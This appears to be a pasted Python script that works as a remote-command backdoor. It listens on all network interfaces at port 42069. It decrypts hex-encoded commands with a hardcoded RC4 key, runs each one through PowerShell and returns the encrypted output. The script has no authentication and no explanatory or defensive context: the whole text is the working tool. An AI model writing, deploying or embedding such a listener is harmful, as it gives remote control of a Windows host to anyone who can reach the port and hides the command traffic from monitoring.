· 7 years ago · Oct 30, 2018, 06:20 AM
1import subprocess
2import socket
3
4def main():
5 serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6 ip = socket.gethostname()
7 serversocket.bind(('0.0.0.0', 42069))
8 #serversocket.bind(('localhost', 42069))
9 serversocket.listen(5)
10 mysecret = "donttellanyone"
11
12 print("running server on " + ip + ":42069...")
13 while 1:
14 (clientComms, address) = serversocket.accept()
15 print("got client from " + str(address))
16 command = bytearray()
17 while 1:
18 data = clientComms.recv(4096)
19 if data:
20 command.extend(data)
21 if b'\n' in command:
22 break
23 else:
24 break
25 decoded = secret(mysecret, from_hex(command.decode()[:-1]))
26 print("got command: " + decoded.decode())
27 proc = subprocess.Popen(["powershell", decoded.decode()], stdout=subprocess.PIPE)
28 result = bytearray(to_hex(secret(mysecret, proc.communicate()[0])), encoding="utf-8")
29 clientComms.sendall(result)
30 clientComms.close()
31
32 serversocket.close()
33
34def secret(key, byte_string):
35 key_len = len(key)
36 if key_len < 5 or key_len > 256:
37 return None
38 s = [i for i in range(256)]
39 j = 0
40 for i in range(256):
41 j = (j + s[i] + ord(key[i % key_len])) % 256
42 s[i], s[j] = s[j], s[i]
43
44 i = 0
45 j = 0
46 out = bytearray()
47 for char in byte_string:
48 i = (i + 1) % 256
49 j = (j + s[i]) % 256
50 s[i], s[j] = s[j], s[i]
51 out.append(char ^ s[ (s[i] + s[j]) % 256 ])
52 return out
53
54def to_hex(string):
55 out = ''
56 for char in string:
57 out += format(char, '02x')
58 return out
59
60def from_hex(string):
61 return bytearray.fromhex(string)
62
63if __name__ == "__main__":
64 main()